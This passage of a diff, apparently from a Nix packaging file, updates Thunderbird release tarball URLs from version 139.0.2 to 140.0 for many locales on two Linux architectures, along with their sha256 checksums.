+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/kk/thunderbird-140.0.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "c5b3822594e14f87e79864d51d9601dc28402bd137cece61b1ab5e8090cc15cb";
+      sha256 = "2d6232763c573ef055ae10b059d0b0b597472d8070dd579821da1b20873415d2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ko/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ko/thunderbird-140.0.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "a15e35c955dbb8afce11bfd3d760e3e82008513ff8616e9467aade7e51f9e1c8";
+      sha256 = "15507a11e06c77b4d579074edf3cbff109da4cedf1a1fca0805e558e7db5ab86";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/lt/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/lt/thunderbird-140.0.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "710861d995c73b852ec829a743c026448894b21b564fceb10b954af20c762f96";
+      sha256 = "aab5591736adde55aa7d0e26e3441405de44f3052d9d575535d0d3904936fe83";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/lv/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/lv/thunderbird-140.0.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "383bcfc9abe761fb567ced9f148e8185d87f180e5e2098ed820756b9909aa517";
+      sha256 = "75f4e93bc8b3a998a48015410dd7e4d341f2eab54efdfeaadb3bd69a13cf7645";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ms/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ms/thunderbird-140.0.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "dcf7c77542edb9035d588a5e313642235840168a93d3a317f772c4f519e2d38a";
+      sha256 = "20439444f08f44a8e85e7c44cb2362bbeaca0c5c911c46badeea47f1b342571d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/nb-NO/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/nb-NO/thunderbird-140.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "39e277927fa2b5b6e2fd407e03eabf17d67b44b3941fc07488c2cac6bdf8b136";
+      sha256 = "ddbaaec2c26f5cf82ed4f4ad72b02700421c980eed7141aa690e9b56309ad2f7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/nl/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/nl/thunderbird-140.0.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "1e3d4bd0a56e06a51280503a4240039456a485be67b5078a52ac40bac76d021a";
+      sha256 = "21452959174a4b3f9395f97537aac634bdab54306f227b6f3335e1f564567e6a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/nn-NO/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/nn-NO/thunderbird-140.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "7dec758e056e9360979ca8f2dd4222d4cee6960f3280f5d3f78cbf83fb4e3740";
+      sha256 = "57caf6a22fa2c95eb8fd9a52d7edb081fd7d1549ccf017ebbb7fc489c9a45bf7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/pa-IN/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/pa-IN/thunderbird-140.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "f9ea9a44b5568bfc17df45a498d7179c3f545bd9fee4fd14e0df6f6ca264e0e5";
+      sha256 = "e6c849b01908011bdda27cc672837fc3f3fdfd54c114ea5c6f9c43ad301c9fa8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/pl/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/pl/thunderbird-140.0.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "5f9adcc99df0fdd3f5f7456d8ad8a3cb51d05e723922c240ec9f4af83ab58160";
+      sha256 = "ccc6121aad53aff78753503996eb10a921b3fd6259165f87841700572efaf4e6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/pt-BR/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/pt-BR/thunderbird-140.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "c8503ec2ab35b46ea7dc9bb75e88899751f9cce7cbefc61035a1e7a0998cb1e6";
+      sha256 = "7cabbc00f73f8ff0f6d86a663bea9930564ed7b27216fb2bc989069a04fc50fc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/pt-PT/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/pt-PT/thunderbird-140.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "9b94ece80963bd911fc11ac56519139e91aa3147e877cc47c16560e684d92f03";
+      sha256 = "934cec97e4323853f85897e696b6547c3d00488c3d711621a9dffae12e5200eb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/rm/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/rm/thunderbird-140.0.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "339fb7a75f6d69f25548c05fac908f85a7930bf444505957977d813c8338221a";
+      sha256 = "ffb0a2f9758b86a6d690cd3454b4365346be563cdbc2985f0f8891a6e217c592";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ro/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ro/thunderbird-140.0.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "91fd8f9585ea0fa013fc9de142c3ac901baf84ee68135130ac95f5f8971da709";
+      sha256 = "8e7df89c2f0f0cd98c54476daa018063504af2d46e645e0746518650e5edd3dc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ru/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ru/thunderbird-140.0.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "0f080d4d070fc51976996c9fb12a9041742790a9e5caffd89c79c11045748de1";
+      sha256 = "2eaa88a13225228150c8cc61bc1ac1e9e199ee7d223bcbc20a6b6150bea54e91";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sk/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sk/thunderbird-140.0.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "271900618cebfaf8cff7c26289e03b3685144b560eff2c5542348f67cd9f24e7";
+      sha256 = "110160e8de26053558531b7adfaecd14e4b898ffe4159821cf524904e7d4eabd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sl/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sl/thunderbird-140.0.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "ce1e33c9c0b5825993300b235eb53bb566c277d1b00d6654f2c36c469031bc33";
+      sha256 = "d72793cbb7e62261ce04f9aeb0590a67363108f10d39dda0fb72e4ef82fd7917";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sq/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sq/thunderbird-140.0.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "b1982a4733bc0cc9666b563bbf3ca6bdffb6af7a54b2522c05a9248fdbd44661";
+      sha256 = "54786c45ee8bc52cbf9b4e7aac2c5f106652619e1f887468dcac430cb594799d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sr/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sr/thunderbird-140.0.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "f4f5ea86865068be75bb9d5af34fed1a53ab22f6a17f6d46ca3ff99de77bab4b";
+      sha256 = "eb153716a80c183b02fa952371af879027e492062f8d2fa522008a07384155ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sv-SE/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sv-SE/thunderbird-140.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "18c709cd269b4fc3f5ed34457e86da5491bfdad8437e47861ea751cddab43ce3";
+      sha256 = "32cb08c8772a0d3339e1685450a9d5ead03d6e230f730484e94f9bcfe3e6d757";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/th/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/th/thunderbird-140.0.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "b3ee51fb55022fef4451eb6a18c0ec0c560d68e3c071a3976f150f539b7498d2";
+      sha256 = "76acd6bbf6a2fa568b6c4cf65211efe0574402bc0951346fce02f2ba4928065a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/tr/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/tr/thunderbird-140.0.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "e9039353ef4084148a827889b4e1ddaabe138aa38e3b4312b40b9979ff763649";
+      sha256 = "5b4856017192421d304f0daf2eb1e62002b45a9f0a0a75041fb9e9f6517514d8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/uk/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/uk/thunderbird-140.0.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "32f4a7528ce0bf4a8fbcc584fc9b4e6469cd5a206b14fcc6dc52c3c8dd223a0e";
+      sha256 = "f8585be150061fe2ff91efed3680cdc3375a27aeb9d390dccff3f72fb2ad79aa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/uz/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/uz/thunderbird-140.0.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "4f5a39e05fb4d1fb7a6ab0524f5ecd57a341c5134ecf40a90e2cf1fc8a325a0d";
+      sha256 = "93ee30de280017844ae7b1fbbeb37ac365ed7ecae7aca9c8a763280a0d79b924";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/vi/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/vi/thunderbird-140.0.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "ed23cfe4810df01e7ad6e56fbd1154fa85a06bfb8477f7fd267e063774c9ff38";
+      sha256 = "a40a3ebae3e7dc588a55849461248e0ef3f68d365f46453a174e80188c29cac5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/zh-CN/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/zh-CN/thunderbird-140.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "3235b83d0f06a37de13785dbab4d08224db04d7ea130926806bac2d113208d51";
+      sha256 = "a26e6e39bd829a21a2064af6d81f8d0e8d8546400c5657ce6d8b78ff4c2b26ac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/zh-TW/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/zh-TW/thunderbird-140.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "eb7b50e215c8cbf75bc320c92c9248c9378dec2dd638975a9175ad4569b98bee";
+      sha256 = "6bc03ef62ff76a62a3509e217164708e84b1d666362cc3de8b8c7db89c810531";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/af/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/af/thunderbird-140.0.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "34e11a2e2d94e9657a8c754370894c5bff35394d812d57f198836d2aca2cdfb7";
+      sha256 = "a91fefe7408d62f7ea0af18a3fd108b252a03b5a25624ba1d3caf12d02881a08";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ar/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ar/thunderbird-140.0.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "b59436ab074c8e032787ff20c54ddc3c6fe7a48dcc6c18b153dcac6233cb0a83";
+      sha256 = "a41b7756988ff75a04319d93cd3348d4f9b74c1a10922070e53251ecc9e68c4a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ast/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ast/thunderbird-140.0.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "0c2048333df674b1e8944c068ad1dd985696e87bd86671819675d6b7994d9f57";
+      sha256 = "9fd09f2fa6760b158bbd038d0bb17549a2c5dd1aa0daf62a816cb649c3c2ba12";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/be/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/be/thunderbird-140.0.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "d08eed9fbca8220fa5a4186197ea82090b1fa490c27c1186b7278ddb3b730f9c";
+      sha256 = "49235072baf87ff33fa292951e47cfb53fb2bff6538eb827b34e9b16f034e072";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/bg/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/bg/thunderbird-140.0.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "e16524042ba4390587ad0db661c515d0679eeb2c76f8e0b5343e7e1832ce5935";
+      sha256 = "4c7f9e9139539ff49f16b6ce1cfece5fc6d81a611ced6a87733c0e52a90fb5e1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/br/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/br/thunderbird-140.0.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "28a5e0bcd7f18be8ffadc1cbf211084304db07ca3068b054ef11e694a282de80";
+      sha256 = "5537cc4c623567dbb8e608eae176472c153ac2e4fe84ea4ff3ad39b6b72ebe58";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ca/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ca/thunderbird-140.0.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "ec8690303c76f35278c9240caa004812196f765dab26de27baeaee51cc773c8f";
+      sha256 = "905ef4d1afd39ecc32846be863745b8bbcf9ff11ee3df861040b5db27375d5ac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/cak/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/cak/thunderbird-140.0.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "4f3454a77c571208bc016e740df81feb659ddc2a112b54d8aff7e6cc62d68b84";
+      sha256 = "96203f34b37aa25641dcc5becf358765c177a68909bb419606356cb77764c9b4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/cs/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/cs/thunderbird-140.0.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "78dbbfd0e1a38e2bb34c95ca9e2773333364e762f028d744abb8385d445582c1";
+      sha256 = "fb13f8fd08bafa5e39b7ba2148ad78d77bd5b7e16d977a7bfd9211099f69eca6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/cy/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/cy/thunderbird-140.0.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "1362148e056cc2aa0677f3211624d800eadd8a82bb7e0e8830dbbf18429db0d4";
+      sha256 = "9611ac5b70716dde90d5362c7f8e11fc34b091eaffe350d02513e540f92c9ed0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/da/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/da/thunderbird-140.0.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "390a3acc9847a6577305b761590774a3380bab0eebe0b485d8276c8a66e02e75";
+      sha256 = "436e3018bddb83cc5aa84077362259f3efca6c28e2860141b9af13da670e4d3c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/de/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/de/thunderbird-140.0.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "9a27987742b0ae03da6ce9862859d1d6f03d282eca853753e784964047dbd919";
+      sha256 = "9fc2ff5ce2d4b15a1b0cbaa0f29cbff86ee541ee1fae98b9a802bdf14a7d4089";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/dsb/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/dsb/thunderbird-140.0.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "fa4559b51e0c8e6b0ac9814cc512242ec66761998cddcd3080de3c72233183c1";
+      sha256 = "8578968b77b28132a8fb48c29df104b610058e861d4433767a1f4a4062b6ba10";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/el/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/el/thunderbird-140.0.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "f4da4d59391a4cc1752aa5bf8b1dc407b67772a754502ef82e4b8fc7cf10d41f";
+      sha256 = "65d2972306ab4db693279b3b5f48c212eb9cd03d3e123b3022f9497b774516ed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/en-CA/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/en-CA/thunderbird-140.0.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "b576214306853bebee0b65fb5c76e2f616be56e3b9cb0943fcbadfdfdc7883a9";
+      sha256 = "d7994fc12415eebd76819c884838e2d835227e2430be681bd133414d55d672f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/en-GB/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/en-GB/thunderbird-140.0.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "88c97b1642fe6ea9628388943be43d9d119133f85e19f64bb62981a9abb786c4";
+      sha256 = "4a3b31487a8ca4c11c2a1490e3fdd392bfa7d95ef3522b50d43ea42455e65733";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/en-US/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/en-US/thunderbird-140.0.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "ea3f53da34b54b4597214f3192badaf823e5ff925e64e2b673ed8705419df05d";
+      sha256 = "3864e8e76cf4bd95a35bd4a9668fe6d2bb2d4d20a09359f6f3247a5f0d9ed40c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/es-AR/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/es-AR/thunderbird-140.0.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "f81d7ec8abb4fe7a725ccbe327da201cd9ea816252f140d06fb11a8fa4714abb";
+      sha256 = "79cf6de1fd1539f4590c72b6792df914785c0b98e012e375723236df36db1c18";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/es-ES/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/es-ES/thunderbird-140.0.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "dc5a3770044a0c3f845ade493ffa687a93cfe862bc5b0216baf5728c332ff675";
+      sha256 = "a94f0873c03dda93463985af28c2b1732b57f84a90a6b1aeaea15c2c068457ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/es-MX/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/es-MX/thunderbird-140.0.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "38cec780ab13337890478ae1636a48e7288b1d8c504f148e0dda0ab62281327d";
+      sha256 = "36f6d0500a88f1cbd685fa9a8df396d7375ab329cac952ceddc30f14cd23b42e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/et/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/et/thunderbird-140.0.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "669a2a9f5bd3b2458538e586dcefeca44a4cfc599b594fad169f80e773eb044d";
+      sha256 = "ae9393e20a4901e50fecc386533a2d97e95730123f1e65669e173e116a872958";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/eu/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/eu/thunderbird-140.0.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "312a9efed65dafe8de66a5945b0cf8cb166d11ccc69c29e7e23452e2e0d5cbbc";
+      sha256 = "0b14e26d85591f5c71923358cef7659ab32fca83cf273537f1d7ef2f395d2762";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/fi/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/fi/thunderbird-140.0.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "039340a1d2827f487d8dab42a96612c778d97e580f76d4def7e99c2a9778c988";
+      sha256 = "3fc0d97fd77f73556d0d322b06256424d3c518c65cc01945cd20a2dc50789499";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/fr/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/fr/thunderbird-140.0.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "7779c1fb1de816f21f7e57005daa33c518dd70d2959eef371fa4c515c83b2ca5";
+      sha256 = "f87f9817365810800f24b2d4336bd0f597afeea60665380997353f8841fc7bd9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/fy-NL/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/fy-NL/thunderbird-140.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "14e1ed8f73ffa9d13ac1435f9bbd4d063043a903b1dc20373cc7f1fe7bc45429";
+      sha256 = "7edd73a351ca4495e630f49e49a3da41a144baba19d73e0801413b9d5c701fca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ga-IE/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ga-IE/thunderbird-140.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "bdd42c055f8b513f3e48918a41f57b2924f0954afea225f87198713652330af9";
+      sha256 = "5dcf3f4fc9339d2b18362ef7821efc841c183ec5d775ac88173c92ade2a0188b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/gd/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/gd/thunderbird-140.0.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "0b88ef782d44d2c19ed5b0237cd8188559a34234f3583e6946ceafe9a8446cf9";
+      sha256 = "a0be320036814966c3897b23b4680776de5a4a67cdbc03851815ff6463708d75";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/gl/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/gl/thunderbird-140.0.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "445fb6df2197ee8c74da712ba8b28334c1d27e85bcda9f6b31b7575def7668dc";
+      sha256 = "b2600fab294ae36dcb5393fa2614b992232f23f4048030bcda43968d52b5ba41";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/he/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/he/thunderbird-140.0.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "811e91e0e2afef963216a1d26e07cda9a0bac11fd8b9fe2f9ad4663462fc077f";
+      sha256 = "1cec5c2acadd3cda9400702488a8fdaece9c831d7563153acc6f915a634243f6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/hr/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/hr/thunderbird-140.0.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "0bac2285f4af03d706bbe6493664e6e2984569c586c3b903e121775870c4b01e";
+      sha256 = "792c86c253538d5523f933f250c6654d3819a35f9d73bd8284ee14ae55fc4968";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/hsb/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/hsb/thunderbird-140.0.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "84fc58865bc74698ac752ea727bc1f0a5a2a3588aceead0f23e93cf4eb23f889";
+      sha256 = "c7225883ecd455644457d994111e38f1906854d280056c51075fd441392d51fd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/hu/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/hu/thunderbird-140.0.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "63d3ab7a51ec864d8eadc6deec795df7749125daef11c6ea005458eafa7cff2d";
